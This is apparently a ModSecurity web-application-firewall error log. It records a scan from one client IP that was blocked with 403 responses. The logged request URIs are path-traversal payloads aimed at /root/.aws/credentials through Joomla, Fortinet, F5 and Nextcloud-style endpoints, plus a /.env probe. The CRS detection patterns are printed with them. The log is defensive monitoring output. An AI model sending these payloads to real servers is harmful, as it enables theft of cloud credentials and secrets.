[Sun Jun 08 02:26:13.118783 2025] [:error] [pid 3709563] [client 107.150.0.115:56012] [client 107.150.0.115] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "69"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /index.php?option=com_media&view=mediaList&tmpl=component&fieldid=filename&folder=../../../../../../../root/.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/index.php"] [unique_id "aETYpS591hUXPIOf0I8taAAAAAs"]
[Sun Jun 08 02:26:13.118893 2025] [:error] [pid 3709563] [client 107.150.0.115:56012] [client 107.150.0.115] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "69"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /index.php?option=com_media&view=medialist&tmpl=component&fieldid=filename&folder=../../../../../../../root/.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/index.php"] [unique_id "aETYpS591hUXPIOf0I8taAAAAAs"]
[Sun Jun 08 02:26:13.120354 2025] [:error] [pid 3709563] [client 107.150.0.115:56012] [client 107.150.0.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/index.php"] [unique_id "aETYpS591hUXPIOf0I8taAAAAAs"]
[Sun Jun 08 02:26:13.120542 2025] [:error] [pid 3709563] [client 107.150.0.115:56012] [client 107.150.0.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/index.php"] [unique_id "aETYpS591hUXPIOf0I8taAAAAAs"]
[Sun Jun 08 02:26:13.822157 2025] [:error] [pid 3709563] [client 107.150.0.115:56012] [client 107.150.0.115] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "46"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /index.php?file=../../../../../../../../root/.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/index.php"] [unique_id "aETYpS591hUXPIOf0I8taQAAAAs"]
[Sun Jun 08 02:26:13.822275 2025] [:error] [pid 3709563] [client 107.150.0.115:56012] [client 107.150.0.115] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "69"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /index.php?file=../../../../../../../../root/.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/index.php"] [unique_id "aETYpS591hUXPIOf0I8taQAAAAs"]
[Sun Jun 08 02:26:13.822317 2025] [:error] [pid 3709563] [client 107.150.0.115:56012] [client 107.150.0.115] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "69"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /index.php?file=../../../../../../../../root/.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/index.php"] [unique_id "aETYpS591hUXPIOf0I8taQAAAAs"]
[Sun Jun 08 02:26:13.822755 2025] [:error] [pid 3709563] [client 107.150.0.115:56012] [client 107.150.0.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/index.php"] [unique_id "aETYpS591hUXPIOf0I8taQAAAAs"]
[Sun Jun 08 02:26:13.822954 2025] [:error] [pid 3709563] [client 107.150.0.115:56012] [client 107.150.0.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/index.php"] [unique_id "aETYpS591hUXPIOf0I8taQAAAAs"]
[Sun Jun 08 02:26:18.008892 2025] [:error] [pid 3709563] [client 107.150.0.115:56012] [client 107.150.0.115] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "46"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /ajax_dashboard.php?widget=../../../../../../../../root/.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/ajax_dashboard.php"] [unique_id "aETYqi591hUXPIOf0I8tawAAAAs"]
[Sun Jun 08 02:26:18.008966 2025] [:error] [pid 3709563] [client 107.150.0.115:56012] [client 107.150.0.115] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "69"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /ajax_dashboard.php?widget=../../../../../../../../root/.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/ajax_dashboard.php"] [unique_id "aETYqi591hUXPIOf0I8tawAAAAs"]
[Sun Jun 08 02:26:18.009005 2025] [:error] [pid 3709563] [client 107.150.0.115:56012] [client 107.150.0.115] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "69"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /ajax_dashboard.php?widget=../../../../../../../../root/.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/ajax_dashboard.php"] [unique_id "aETYqi591hUXPIOf0I8tawAAAAs"]
[Sun Jun 08 02:26:18.009462 2025] [:error] [pid 3709563] [client 107.150.0.115:56012] [client 107.150.0.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/ajax_dashboard.php"] [unique_id "aETYqi591hUXPIOf0I8tawAAAAs"]
[Sun Jun 08 02:26:18.009672 2025] [:error] [pid 3709563] [client 107.150.0.115:56012] [client 107.150.0.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/ajax_dashboard.php"] [unique_id "aETYqi591hUXPIOf0I8tawAAAAs"]
[Sun Jun 08 02:26:19.575662 2025] [:error] [pid 3709563] [client 107.150.0.115:56012] [client 107.150.0.115] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "46"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /remote/fgt_lang?lang=/../../../../../../../../root/.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/remote/fgt_lang"] [unique_id "aETYqy591hUXPIOf0I8tbAAAAAs"]
[Sun Jun 08 02:26:19.575748 2025] [:error] [pid 3709563] [client 107.150.0.115:56012] [client 107.150.0.115] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "69"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /remote/fgt_lang?lang=/../../../../../../../../root/.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/remote/fgt_lang"] [unique_id "aETYqy591hUXPIOf0I8tbAAAAAs"]
[Sun Jun 08 02:26:19.575789 2025] [:error] [pid 3709563] [client 107.150.0.115:56012] [client 107.150.0.115] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "69"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /remote/fgt_lang?lang=/../../../../../../../../root/.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/remote/fgt_lang"] [unique_id "aETYqy591hUXPIOf0I8tbAAAAAs"]
[Sun Jun 08 02:26:19.576213 2025] [:error] [pid 3709563] [client 107.150.0.115:56012] [client 107.150.0.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/remote/fgt_lang"] [unique_id "aETYqy591hUXPIOf0I8tbAAAAAs"]
[Sun Jun 08 02:26:19.576408 2025] [:error] [pid 3709563] [client 107.150.0.115:56012] [client 107.150.0.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/remote/fgt_lang"] [unique_id "aETYqy591hUXPIOf0I8tbAAAAAs"]
[Sun Jun 08 02:26:20.902417 2025] [:error] [pid 3709563] [client 107.150.0.115:56012] [client 107.150.0.115] ModSecurity: Warning. Matched phrase ".aws/credentials" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/credentials found within REQUEST_FILENAME: /root/.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/root/.aws/credentials"] [unique_id "aETYrC591hUXPIOf0I8tbQAAAAs"]
[Sun Jun 08 02:26:20.902622 2025] [:error] [pid 3709563] [client 107.150.0.115:56012] [client 107.150.0.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/root/.aws/credentials"] [unique_id "aETYrC591hUXPIOf0I8tbQAAAAs"]
[Sun Jun 08 02:26:20.902809 2025] [:error] [pid 3709563] [client 107.150.0.115:56012] [client 107.150.0.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/root/.aws/credentials"] [unique_id "aETYrC591hUXPIOf0I8tbQAAAAs"]
[Sun Jun 08 02:26:21.936839 2025] [:error] [pid 3709563] [client 107.150.0.115:56012] [client 107.150.0.115] ModSecurity: Warning. Matched phrase ".aws/credentials" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/credentials found within REQUEST_FILENAME: /mgmt/shared/authn/login/root/.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/mgmt/shared/authn/login/~../~../~../~../root/.aws/credentials"] [unique_id "aETYrS591hUXPIOf0I8tbgAAAAs"]
[Sun Jun 08 02:26:21.937070 2025] [:error] [pid 3709563] [client 107.150.0.115:56012] [client 107.150.0.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/mgmt/shared/authn/login/~../~../~../~../root/.aws/credentials"] [unique_id "aETYrS591hUXPIOf0I8tbgAAAAs"]
[Sun Jun 08 02:26:21.937931 2025] [:error] [pid 3709563] [client 107.150.0.115:56012] [client 107.150.0.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/mgmt/shared/authn/login/~../~../~../~../root/.aws/credentials"] [unique_id "aETYrS591hUXPIOf0I8tbgAAAAs"]
[Sun Jun 08 02:26:22.952778 2025] [:error] [pid 3709563] [client 107.150.0.115:56012] [client 107.150.0.115] ModSecurity: Warning. Matched phrase ".aws/credentials" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/credentials found within REQUEST_FILENAME: /root/.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/root/.aws/credentials"] [unique_id "aETYri591hUXPIOf0I8tbwAAAAs"]
[Sun Jun 08 02:26:22.952989 2025] [:error] [pid 3709563] [client 107.150.0.115:56012] [client 107.150.0.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/root/.aws/credentials"] [unique_id "aETYri591hUXPIOf0I8tbwAAAAs"]
[Sun Jun 08 02:26:22.953167 2025] [:error] [pid 3709563] [client 107.150.0.115:56012] [client 107.150.0.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/root/.aws/credentials"] [unique_id "aETYri591hUXPIOf0I8tbwAAAAs"]
[Sun Jun 08 02:26:24.112783 2025] [:error] [pid 3709563] [client 107.150.0.115:56012] [client 107.150.0.115] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "46"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /index.php/core/preview?file=../../../../../../../../root/.aws/credentials&x=100&y=100"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/index.php/core/preview"] [unique_id "aETYsC591hUXPIOf0I8tcAAAAAs"]
[Sun Jun 08 02:26:24.112884 2025] [:error] [pid 3709563] [client 107.150.0.115:56012] [client 107.150.0.115] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "69"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /index.php/core/preview?file=../../../../../../../../root/.aws/credentials&x=100&y=100"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/index.php/core/preview"] [unique_id "aETYsC591hUXPIOf0I8tcAAAAAs"]
[Sun Jun 08 02:26:24.112920 2025] [:error] [pid 3709563] [client 107.150.0.115:56012] [client 107.150.0.115] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "69"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /index.php/core/preview?file=../../../../../../../../root/.aws/credentials&x=100&y=100"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/index.php/core/preview"] [unique_id "aETYsC591hUXPIOf0I8tcAAAAAs"]
[Sun Jun 08 02:26:24.113603 2025] [:error] [pid 3709563] [client 107.150.0.115:56012] [client 107.150.0.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/index.php/core/preview"] [unique_id "aETYsC591hUXPIOf0I8tcAAAAAs"]
[Sun Jun 08 02:26:24.113803 2025] [:error] [pid 3709563] [client 107.150.0.115:56012] [client 107.150.0.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/index.php/core/preview"] [unique_id "aETYsC591hUXPIOf0I8tcAAAAAs"]
[Sun Jun 08 02:26:25.376290 2025] [:error] [pid 3709563] [client 107.150.0.115:56012] [client 107.150.0.115] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aETYsS591hUXPIOf0I8tcQAAAAs"]
[Sun Jun 08 02:26:25.376492 2025] [:error] [pid 3709563] [client 107.150.0.115:56012] [client 107.150.0.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aETYsS591hUXPIOf0I8tcQAAAAs"]
